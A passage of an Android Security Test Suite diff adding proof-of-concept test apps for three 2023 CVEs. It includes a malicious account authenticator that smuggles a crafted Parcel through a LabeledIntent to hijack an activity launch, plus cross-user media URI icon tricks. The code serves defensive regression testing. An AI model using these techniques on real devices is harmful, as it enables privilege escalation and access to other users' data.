+  you may not use this file except in compliance with the License.
+  You may obtain a copy of the License at
+
+       http://www.apache.org/licenses/LICENSE-2.0
+
+  Unless required by applicable law or agreed to in writing, software
+  distributed under the License is distributed on an "AS IS" BASIS,
+  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  See the License for the specific language governing permissions and
+  limitations under the License.
+  -->
+
+<account-authenticator xmlns:android="http://schemas.android.com/apk/res/android"
+    android:accountType="testevilaccount"
+    android:label="@string/app_name"/>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2023-21131/test-app/src/android/security/cts/CVE_2023_21131_test/DeviceTest.java b/hostsidetests/securitybulletin/test-apps/CVE-2023-21131/test-app/src/android/security/cts/CVE_2023_21131_test/DeviceTest.java
new file mode 100644
index 0000000..f85a20f
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2023-21131/test-app/src/android/security/cts/CVE_2023_21131_test/DeviceTest.java
@@ -0,0 +1,175 @@
+/*
+ * Copyright (C) 2023 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2023_21131_test;
+
+import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation;
+
+import static com.android.compatibility.common.util.SystemUtil.runWithShellPermissionIdentity;
+import static com.android.sts.common.SystemUtil.poll;
+
+import static com.google.common.truth.Truth.assertWithMessage;
+import static com.google.common.truth.TruthJUnit.assume;
+
+import android.app.Instrumentation;
+import android.content.BroadcastReceiver;
+import android.content.Context;
+import android.content.Intent;
+import android.content.IntentFilter;
+import android.os.Build;
+
+import androidx.test.runner.AndroidJUnit4;
+import androidx.test.uiautomator.By;
+import androidx.test.uiautomator.BySelector;
+import androidx.test.uiautomator.UiDevice;
+import androidx.test.uiautomator.UiObject2;
+import androidx.test.uiautomator.Until;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.concurrent.Semaphore;
+import java.util.concurrent.TimeUnit;
+import java.util.regex.Pattern;
+
+@RunWith(AndroidJUnit4.class)
+public class DeviceTest {
+    private String mPocActivityStatus;
+    public static int sTaskId;
+    public final int TIMEOUT_MS = 5000;
+
+    @Test
+    public void testCVE_2023_21131() {
+        try {
+            Instrumentation instrumentation = getInstrumentation();
+            Context context = instrumentation.getContext();
+            runWithShellPermissionIdentity(
+                    () -> {
+                        // Registering a receiver here to wait for broadcast
+                        final Semaphore targetReturn = new Semaphore(0);
+                        final Semaphore hijackReturn = new Semaphore(0);
+                        final Semaphore pocReturn = new Semaphore(0);
+                        BroadcastReceiver broadcastReceiver =
+                                new BroadcastReceiver() {
+                                    @Override
+                                    public void onReceive(Context context, Intent intent) {
+                                        try {
+
+                                            // Wait for TargetActivity to get launched
+                                            if (intent.getBooleanExtra(
+                                                    context.getString(R.string.actionTarget),
+                                                    false)) {
+
+                                                // Fetch taskId
+                                                sTaskId =
+                                                        intent.getIntExtra(
+                                                                context.getString(R.string.taskId),
+                                                                -1);
+                                                if (sTaskId != -1) {
+                                                    targetReturn.release();
+                                                }
+                                            }
+
+                                            // Wait for HijackActivity to get launched
+                                            if (intent.getBooleanExtra(
+                                                    context.getString(R.string.isVulnerable),
+                                                    false)) {
+                                                hijackReturn.release();
+                                            }
+                                            // Wait for PocActivity to get launched
+                                            mPocActivityStatus =
+                                                    intent.getStringExtra(
+                                                            context.getString(
+                                                                    R.string.pocActivityStatus));
+                                            if (mPocActivityStatus != null) {
+                                                pocReturn.release();
+                                            }
+                                        } catch (Exception ignored) {
+                                            // ignore any exceptions
+                                        }
+                                    }
+                                };
+                        IntentFilter filter =
+                                new IntentFilter(context.getString(R.string.bcastActionTarget));
+                        final int requiredFlag =
+                                Build.VERSION.SDK_INT >= 33
+                                        ? (int)
+                                                Context.class
+                                                        .getField("RECEIVER_EXPORTED")
+                                                        .get(context)
+                                        : 0;
+                        context.registerReceiver(broadcastReceiver, filter, requiredFlag);
+
+                        // Start TargetActivity
+                        context.startActivity(
+                                new Intent(Intent.ACTION_MAIN)
+                                        .setClassName(
+                                                context.getString(R.string.pkgTarget),
+                                                context.getString(R.string.activityTarget))
+                                        .setFlags(Intent.FLAG_ACTIVITY_NEW_TASK));
+                        assume().withMessage(context.getString(R.string.targetFailMsg))
+                                .that(targetReturn.tryAcquire(TIMEOUT_MS, TimeUnit.MILLISECONDS))
+                                .isTrue();
+
+                        // Start PocActivity
+                        context.startActivity(
+                                new Intent(context, PocActivity.class)
+                                        .setFlags(
+                                                Intent.FLAG_ACTIVITY_NEW_TASK
+                                                        | Intent.FLAG_GRANT_READ_URI_PERMISSION));
+                        assume().withMessage(context.getString(R.string.pocFailedMsg))
+                                .that(pocReturn.tryAcquire(TIMEOUT_MS, TimeUnit.MILLISECONDS))
+                                .isTrue();
+                        assume().withMessage(
+                                        context.getString(
+                                                R.string.pocCrashedMsg, mPocActivityStatus))
+                                .that(
+                                        mPocActivityStatus.equals(
+                                                context.getString(R.string.noExceptionMsg)))
+                                .isTrue();
+
+                        // Wait for account name to appear on display and then click
+                        UiDevice uiDevice = UiDevice.getInstance(instrumentation);
+                        clickObject(context, uiDevice, context.getString(R.string.accountName));
+
+                        // Click on 'Remove Account' button
+                        clickObject(context, uiDevice, context.getString(R.string.removeAccount));
+
+                        // Click on 'Remove Account' popup to confirm account removal
+                        clickObject(context, uiDevice, context.getString(R.string.removeAccount));
+
+                        // On vulnerable device, HijackActivity will be launched and the test fails
+                        assertWithMessage(context.getString(R.string.msgFailure))
+                                .that(hijackReturn.tryAcquire(TIMEOUT_MS, TimeUnit.MILLISECONDS))
+                                .isFalse();
+                    });
+        } catch (Exception e) {
+            assume().that(e).isNull();
+        }
+    }
+
+    public void clickObject(Context context, UiDevice uiDevice, String objectName)
+            throws Exception {
+        Pattern activityPattern = Pattern.compile(objectName, Pattern.CASE_INSENSITIVE);
+        BySelector removeAccountSelector = By.text(activityPattern);
+        UiObject2 uiObject = uiDevice.wait(Until.findObject(removeAccountSelector), TIMEOUT_MS);
+        poll(() -> (uiObject.isEnabled()));
+        assume().withMessage(context.getString(R.string.objectNotFound, objectName))
+                .that(uiObject)
+                .isNotNull();
+        uiObject.click();
+    }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2023-21131/test-app/src/android/security/cts/CVE_2023_21131_test/HijackActivity.java b/hostsidetests/securitybulletin/test-apps/CVE-2023-21131/test-app/src/android/security/cts/CVE_2023_21131_test/HijackActivity.java
new file mode 100644
index 0000000..6c0a91e
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2023-21131/test-app/src/android/security/cts/CVE_2023_21131_test/HijackActivity.java
@@ -0,0 +1,35 @@
+/*
+ * Copyright (C) 2023 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2023_21131_test;
+
+import android.app.Activity;
+import android.content.Intent;
+
+public class HijackActivity extends Activity {
+
+    @Override
+    public void onResume() {
+        try {
+            super.onResume();
+            sendBroadcast(
+                    new Intent(getString(R.string.bcastActionTarget))
+                            .putExtra(getString(R.string.isVulnerable), true));
+        } catch (Exception ignored) {
+            // Ignoring exceptions here
+        }
+    }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2023-21131/test-app/src/android/security/cts/CVE_2023_21131_test/PocActivity.java b/hostsidetests/securitybulletin/test-apps/CVE-2023-21131/test-app/src/android/security/cts/CVE_2023_21131_test/PocActivity.java
new file mode 100644
index 0000000..04ff979
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2023-21131/test-app/src/android/security/cts/CVE_2023_21131_test/PocActivity.java
@@ -0,0 +1,59 @@
+/*
+ * Copyright (C) 2023 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2023_21131_test;
+
+import android.accounts.Account;
+import android.accounts.AccountManager;
+import android.app.Activity;
+import android.content.Intent;
+import android.os.Bundle;
+import android.provider.Settings;
+
+public class PocActivity extends Activity {
+
+    @Override
+    public void onResume() {
+        try {
+            super.onResume();
+
+            // Adding account
+            getSystemService(AccountManager.class)
+                    .addAccountExplicitly(
+                            new Account(
+                                    getString(R.string.accountName),
+                                    getString(R.string.accountType)),
+                            getString(R.string.password),
+                            new Bundle());
+
+            // Show settings to allow configuration of sync settings
+            startActivity(new Intent(Settings.ACTION_SYNC_SETTINGS));
+            sendBroadcast(
+                    new Intent(getString(R.string.bcastActionTarget))
+                            .putExtra(
+                                    getString(R.string.pocActivityStatus),
+                                    getString(R.string.noExceptionMsg)));
+        } catch (Exception e) {
+            try {
+                sendBroadcast(
+                        new Intent(getString(R.string.bcastActionTarget))
+                                .putExtra(getString(R.string.pocActivityStatus), e.getMessage()));
+            } catch (Exception ignored) {
+                // Ignore any exceptions
+            }
+        }
+    }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2023-21131/test-app/src/android/security/cts/CVE_2023_21131_test/PocAuthService.java b/hostsidetests/securitybulletin/test-apps/CVE-2023-21131/test-app/src/android/security/cts/CVE_2023_21131_test/PocAuthService.java
new file mode 100644
index 0000000..ac29109
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2023-21131/test-app/src/android/security/cts/CVE_2023_21131_test/PocAuthService.java
@@ -0,0 +1,179 @@
+/*
+ * Copyright (C) 2023 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2023_21131_test;
+
+import android.accounts.AbstractAccountAuthenticator;
+import android.accounts.Account;
+import android.accounts.AccountAuthenticatorResponse;
+import android.accounts.AccountManager;
+import android.accounts.NetworkErrorException;
+import android.app.Service;
+import android.content.Context;
+import android.content.Intent;
+import android.content.pm.LabeledIntent;
+import android.os.Bundle;
+import android.os.IBinder;
+import android.os.Parcel;
+import android.text.SpannableString;
+import android.text.style.URLSpan;
+
+import java.lang.reflect.Field;
+import java.nio.charset.StandardCharsets;
+
+public class PocAuthService extends Service {
+
+    private Bundle createResultBundle() {
+        try {
+            Bundle result = new Bundle();
+            result.putString(AccountManager.KEY_ACCOUNT_NAME, "testevilaccountname");
+            result.putString(AccountManager.KEY_ACCOUNT_TYPE, "testevilaccount");
+            result.putString(AccountManager.KEY_AUTHTOKEN, "mockAuthToken");
+            return result;
+        } catch (Exception ignored) {
+            // Ignore any exceptions
+        }
+        return null;
+    }
+
+    public PocAuthService() {}
+
+    @Override
+    public IBinder onBind(Intent intent) {
+        return new TestAccountAuthenticator(this).getIBinder();
+    }
+
+    class TestAccountAuthenticator extends AbstractAccountAuthenticator {
+
+        public TestAccountAuthenticator(Context context) {
+            super(context);
+        }
+
+        @Override
+        public Bundle getAccountRemovalAllowed(
+                AccountAuthenticatorResponse response, Account account)
+                throws NetworkErrorException {
+
+            try {
+                Intent intent =
+                        new Intent(PocAuthService.this, HijackActivity.class)
+                                .addFlags(
+                                        Intent.FLAG_GRANT_READ_URI_PERMISSION
+                                                | Intent.FLAG_GRANT_WRITE_URI_PERMISSION
+                                                | Intent.FLAG_GRANT_PERSISTABLE_URI_PERMISSION
+                                                | Intent.FLAG_GRANT_PREFIX_URI_PERMISSION);
+                LabeledIntent labeledIntent =
+                        new LabeledIntent(
+                                intent, null /* sourcePackage */, 1 /* labelRes */, 0 /* icon */);
+
+                // Creating parcel to setDataPosition
+                Parcel optionPayload = Parcel.obtain();
+                Bundle evilOptions = new Bundle();
+                evilOptions.putInt(getString(R.string.launchTaskId), DeviceTest.sTaskId);
+                evilOptions.writeToParcel(optionPayload, 0 /* flags */);
+                optionPayload.setDataPosition(0 /* position */);
+                int originLen = optionPayload.readInt();
+                optionPayload.setDataPosition(0 /* position */);
+
+                // Parcel data not fully consumed, unread size : 76
+                optionPayload.writeInt(originLen + 76);
+
+                // Creating parcel to create URLSpan
+                Parcel payload = Parcel.obtain();
+                payload.writeString(null /* resultWho */);
+                payload.writeInt(-1 /* requestCode */);
+                payload.writeInt(0 /* flags */);
+                payload.writeTypedObject(null, 0 /* profilerInfo */);
+                payload.writeInt(1 /* value */);
+                payload.appendFrom(optionPayload, 0 /* offset */, optionPayload.dataSize());
+                SpannableString spannableString =
+                        new SpannableString(getString(R.string.spannableString));
+                spannableString.setSpan(
+                        new URLSpan(new String(payload.marshall(), StandardCharsets.UTF_16LE)),
+                        0 /* start */,
+                        0 /* end */,
+                        0 /* flags */);
+
+                // Setting labeledIntent using refelection
+                Field nonLocalizedLabelField =
+                        LabeledIntent.class.getDeclaredField(getString(R.string.fieldName));
+                nonLocalizedLabelField.setAccessible(true);
+                nonLocalizedLabelField.set(labeledIntent, spannableString);
+                Bundle result = new Bundle();
+                result.putParcelable(AccountManager.KEY_INTENT, new Intent(labeledIntent));
+                return result;
+            } catch (Exception ignored) {
+                // Ignore any exceptions
+            }
+            return null;
+        }
+
+        @Override
+        public Bundle editProperties(AccountAuthenticatorResponse response, String accountType) {
+            return createResultBundle();
+        }
+
+        @Override
+        public Bundle addAccount(
+                AccountAuthenticatorResponse response,
+                String accountType,
+                String authTokenType,
+                String[] requiredFeatures,
+                Bundle options)
+                throws NetworkErrorException {
+            return createResultBundle();
+        }
+
+        @Override
+        public Bundle confirmCredentials(
+                AccountAuthenticatorResponse response, Account account, Bundle options)
+                throws NetworkErrorException {
+            return createResultBundle();
+        }
+
+        @Override
+        public Bundle getAuthToken(
+                AccountAuthenticatorResponse response,
+                Account account,
+                String authTokenType,
+                Bundle options)
+                throws NetworkErrorException {
+            return createResultBundle();
+        }
+
+        @Override
+        public String getAuthTokenLabel(String authTokenType) {
+            return "mockAuthTokenLabel";
+        }
+
+        @Override
+        public Bundle updateCredentials(
+                AccountAuthenticatorResponse response,
+                Account account,
+                String authTokenType,
+                Bundle options)
+                throws NetworkErrorException {
+            return createResultBundle();
+        }
+
+        @Override
+        public Bundle hasFeatures(
+                AccountAuthenticatorResponse response, Account account, String[] features)
+                throws NetworkErrorException {
+            return createResultBundle();
+        }
+    }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2023-35668/Android.bp b/hostsidetests/securitybulletin/test-apps/CVE-2023-35668/Android.bp
new file mode 100644
index 0000000..740bf01
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2023-35668/Android.bp
@@ -0,0 +1,40 @@
+/*
+ * Copyright (C) 2023 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+android_test_helper_app {
+    name: "CVE-2023-35668",
+    defaults: [
+        "cts_defaults",
+    ],
+    srcs: [
+        "src/**/*.java",
+    ],
+    test_suites: [
+        "sts",
+    ],
+    static_libs: [
+        "androidx.test.core",
+        "androidx.test.rules",
+        "compatibility-device-util-axt",
+        "sts-device-util",
+        "truth",
+    ],
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2023-35668/AndroidManifest.xml b/hostsidetests/securitybulletin/test-apps/CVE-2023-35668/AndroidManifest.xml
new file mode 100644
index 0000000..8a33c02
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2023-35668/AndroidManifest.xml
@@ -0,0 +1,25 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  Copyright 2023 The Android Open Source Project
+
+  Licensed under the Apache License, Version 2.0 (the "License");
+  you may not use this file except in compliance with the License.
+  You may obtain a copy of the License at
+
+       http://www.apache.org/licenses/LICENSE-2.0
+
+  Unless required by applicable law or agreed to in writing, software
+  distributed under the License is distributed on an "AS IS" BASIS,
+  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  See the License for the specific language governing permissions and
+  limitations under the License.
+  -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.security.cts.CVE_2023_35668">
+
+    <uses-permission android:name="android.permission.POST_NOTIFICATIONS" />
+
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
+        android:targetPackage="android.security.cts.CVE_2023_35668" />
+</manifest>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2023-35668/src/android/security/cts/CVE_2023_35668/DeviceTest.java b/hostsidetests/securitybulletin/test-apps/CVE-2023-35668/src/android/security/cts/CVE_2023_35668/DeviceTest.java
new file mode 100644
index 0000000..96aaa66
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2023-35668/src/android/security/cts/CVE_2023_35668/DeviceTest.java
@@ -0,0 +1,163 @@
+/*
+ * Copyright (C) 2023 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2023_35668;
+
+import static android.provider.MediaStore.Images.Media.EXTERNAL_CONTENT_URI;
+
+import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation;
+
+import static com.android.compatibility.common.util.SystemUtil.runWithShellPermissionIdentity;
+import static com.android.sts.common.SystemUtil.poll;
+
+import static com.google.common.truth.Truth.assertWithMessage;
+import static com.google.common.truth.TruthJUnit.assume;
+
+import android.app.Instrumentation;
+import android.app.Notification;
+import android.app.NotificationChannel;
+import android.app.NotificationManager;
+import android.app.PendingIntent;
+import android.app.UiAutomation;
+import android.content.ContentProvider;
+import android.content.Context;
+import android.content.Intent;
+import android.content.pm.UserInfo;
+import android.graphics.drawable.Icon;
+import android.os.UserManager;
+import android.service.notification.StatusBarNotification;
+
+import androidx.test.runner.AndroidJUnit4;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.List;
+
+@RunWith(AndroidJUnit4.class)
+public class DeviceTest {
+    private int mTestUserId = -1;
+
+    @Test
+    public void testWearableExtenderUri() {
+        try {
+            final Instrumentation instrumentation = getInstrumentation();
+            final Context context = instrumentation.getContext();
+            final UiAutomation uiAutomation = instrumentation.getUiAutomation();
+            final UserManager userManager = context.getSystemService(UserManager.class);
+
+            // Check if the device supports multiple users or not
+            assume().withMessage("This device does not support multiple users")
+                    .that(userManager.supportsMultipleUsers())
+                    .isTrue();
+
+            runWithShellPermissionIdentity(
+                    () -> {
+                        final List<UserInfo> list = userManager.getUsers();
+                        for (UserInfo info : list) {
+                            if (info.name.contains("cve_2023_35668_user")) {
+                                mTestUserId = info.id;
+                                break;
+                            }
+                        }
+                    },
+                    android.Manifest.permission.CREATE_USERS);
+            assume().withMessage("Unable to find the user cve_2023_35668_user")
+                    .that(mTestUserId != -1)
+                    .isTrue();
+
+            // Set notification channel id
+            String notificationChannelId = "notification_channel_id";
+
+            // Create icon from uri of other user
+            Icon wearActionIcon =
+                    Icon.createWithContentUri(
+                            ContentProvider.maybeAddUserId(EXTERNAL_CONTENT_URI, mTestUserId));
+
+            // Create notification
+            PendingIntent pendingIntent =
+                    PendingIntent.getActivity(
+                            context, 0, new Intent(), PendingIntent.FLAG_IMMUTABLE);
+            Notification callNotification =
+                    new Notification.Builder(context, notificationChannelId)
+                            .setSmallIcon(
+                                    Icon.createWithData(
+                                            new byte[0] /* data */, 0 /* offset */, 0 /* length */))
+                            .extend(
+                                    new Notification.WearableExtender()
+                                            .addAction(
+                                                    new Notification.Action.Builder(
+                                                                    wearActionIcon,
+                                                                    "Wear!",
+                                                                    pendingIntent)
+                                                            .build()))
+                            .build();
+
+            // Create a notification channel
+            NotificationChannel notificationChannel =
+                    new NotificationChannel(
+                            notificationChannelId,
+                            "cve_2023_35668_notification_channel" /* notification channel name */,
+                            NotificationManager.IMPORTANCE_HIGH);
+
+            // Post the notification
+            NotificationManager notificationManager =
+                    context.getSystemService(NotificationManager.class);
+            notificationManager.createNotificationChannel(notificationChannel);
+
+            // Check if any security exception is caught
+            int notificationId = 0;
+            try {
+                notificationManager.notify(notificationId, callNotification);
+            } catch (SecurityException securityException) {
+                if (securityException
+                        .getLocalizedMessage()
+                        .toLowerCase()
+                        .contains(EXTERNAL_CONTENT_URI.toString())) {
+                    // Ignore exception thrown with fix and exit the test
+                    return;
+                } else {
+                    throw securityException;
+                }
+            }
+
+            // Check if notification gets posted or not, fail the test if notification gets posted
+            assertWithMessage(
+                            "Device is vulnerable to b/283962802 hence images from URIs that are"
+                                    + " not allowed can be displayed in wearable extender"
+                                    + " notifications icon")
+                    .that(
+                            poll(
+                                    () -> {
+                                        StatusBarNotification[] activeNotifications =
+                                                notificationManager.getActiveNotifications();
+                                        for (StatusBarNotification notification :
+                                                activeNotifications) {
+                                            if (notification
+                                                            .getPackageName()
+                                                            .equals(context.getPackageName())
+                                                    && notification.getId() == notificationId) {
+                                                return true;
+                                            }
+                                        }
+                                        return false;
+                                    }))
+                    .isFalse();
+        } catch (Exception e) {
+            assume().that(e).isNull();
+        }
+    }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2023-40086/Android.bp b/hostsidetests/securitybulletin/test-apps/CVE-2023-40086/Android.bp
new file mode 100644
index 0000000..e532f20
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2023-40086/Android.bp
@@ -0,0 +1,40 @@
+/*
+ * Copyright (C) 2023 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+android_test_helper_app {
+    name: "CVE-2023-40086",
+    defaults: [
+        "cts_defaults",
+    ],
+    srcs: [
+        "src/**/*.java",
+    ],
+    test_suites: [
+        "sts",
+    ],
+    static_libs: [
+        "androidx.test.core",
+        "androidx.test.rules",
+        "compatibility-device-util-axt",
+        "sts-device-util",
+        "truth",
+    ],
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2023-40086/AndroidManifest.xml b/hostsidetests/securitybulletin/test-apps/CVE-2023-40086/AndroidManifest.xml
new file mode 100644
index 0000000..4152eee
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2023-40086/AndroidManifest.xml
@@ -0,0 +1,34 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  Copyright 2023 The Android Open Source Project
+
+  Licensed under the Apache License, Version 2.0 (the "License");
+  you may not use this file except in compliance with the License.
+  You may obtain a copy of the License at
+
+       http://www.apache.org/licenses/LICENSE-2.0
+
+  Unless required by applicable law or agreed to in writing, software
+  distributed under the License is distributed on an "AS IS" BASIS,
+  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  See the License for the specific language governing permissions and
+  limitations under the License.
+  -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.security.cts.CVE_2023_40086">
+
+    <application>
+        <service
+            android:name=".TestConnectionService"
+            android:exported="true"
+            android:permission="android.permission.BIND_TELECOM_CONNECTION_SERVICE">
+            <intent-filter>
+                <action android:name="android.telecom.ConnectionService" />
+            </intent-filter>
+        </service>
+   </application>
+
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
+        android:targetPackage="android.security.cts.CVE_2023_40086" />
+</manifest>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2023-40086/src/android/security/cts/CVE_2023_40086/DeviceTest.java b/hostsidetests/securitybulletin/test-apps/CVE-2023-40086/src/android/security/cts/CVE_2023_40086/DeviceTest.java
new file mode 100644
index 0000000..b9b585c
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2023-40086/src/android/security/cts/CVE_2023_40086/DeviceTest.java
@@ -0,0 +1,170 @@
+/*
+ * Copyright (C) 2023 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2023_40086;
+
+import static android.Manifest.permission.CREATE_USERS;
+import static android.provider.MediaStore.Images.Media.EXTERNAL_CONTENT_URI;
+
+import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation;
+
+import static com.android.compatibility.common.util.SystemUtil.runShellCommand;
+import static com.android.compatibility.common.util.SystemUtil.runWithShellPermissionIdentity;
+import static com.android.sts.common.SystemUtil.poll;
+
+import static com.google.common.truth.Truth.assertWithMessage;
+import static com.google.common.truth.TruthJUnit.assume;
+
+import android.app.Instrumentation;
+import android.content.ComponentName;
+import android.content.ContentProvider;
+import android.content.Context;
+import android.content.Intent;
+import android.content.pm.ResolveInfo;
+import android.content.pm.UserInfo;
+import android.graphics.drawable.Icon;
+import android.net.Uri;
+import android.os.UserManager;
+import android.telecom.PhoneAccount;
+import android.telecom.PhoneAccountHandle;
+import android.telecom.TelecomManager;
+
+import androidx.test.runner.AndroidJUnit4;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.List;
+import java.util.regex.Matcher;
+import java.util.regex.Pattern;
+
+@RunWith(AndroidJUnit4.class)
+public class DeviceTest {
+    private Context mContext;
+
+    @Test
+    public void testPocCVE_2023_40086() {
+        try {
+            Instrumentation instrumentation = getInstrumentation();
+            mContext = instrumentation.getContext();
+            final UserManager userManager = mContext.getSystemService(UserManager.class);
+
+            // Check if the device supports multiple users or not
+            assume().withMessage("This device does not support multiple users")
+                    .that(userManager.supportsMultipleUsers())
+                    .isTrue();
+
+            // Get the user id of 'cve_2023_40086_user'
+            final int testUserId =
+                    runWithShellPermissionIdentity(
+                            () -> {
+                                List<UserInfo> list = userManager.getUsers();
+                                for (UserInfo info : list) {
+                                    if (info.toString().contains("cve_2023_40086_user")) {
+                                        return info.getUserHandle().getIdentifier();
+                                    }
+                                }
+                                return -1;
+                            },
+                            CREATE_USERS);
+            assume().withMessage("Unable to get userId of secondary user")
+                    .that(testUserId)
+                    .isNotEqualTo(-1);
+
+            // PhoneAccount object is created using a phoneAccountHandle to registerPhoneAccount
+            // with TelecomManager, which further leads to reproducing vulnerability.
+            PhoneAccountHandle phoneAccountHandle =
+                    new PhoneAccountHandle(
+                            new ComponentName(mContext, TestConnectionService.class),
+                            "cve_2023_40086_id" /* id */);
+            PhoneAccount phoneAccount =
+                    PhoneAccount.builder(phoneAccountHandle, "cve_2023_40086_label" /* label */)
+                            .setIcon(
+                                    Icon.createWithContentUri(
+                                            ContentProvider.maybeAddUserId(
+                                                    EXTERNAL_CONTENT_URI, testUserId)))
+                            .setCapabilities(PhoneAccount.CAPABILITY_CALL_PROVIDER)
+                            .build();
+
+            try {
+                // Without fix, the PhoneAccount object gets registered successfully with the
+                // invalid uri for icon.
+                mContext.getSystemService(TelecomManager.class).registerPhoneAccount(phoneAccount);
+            } catch (IllegalArgumentException exception) {
+                // With fix, IllegalArgumentException is raised when the userId in the uri does not
+                // match the current userId.
+                if (exception.getMessage().contains("icon belonging to another user")) {
+                    return;
+                } else {
+                    throw exception;
+                }
+            }
+
+            // Launch activity to reproduce the vulnerability
+            final ComponentName componentName =
+                    ComponentName.createRelative(
+                            queryTelecomPkgName(), ".settings.EnableAccountPreferenceActivity");
+            mContext.startActivity(
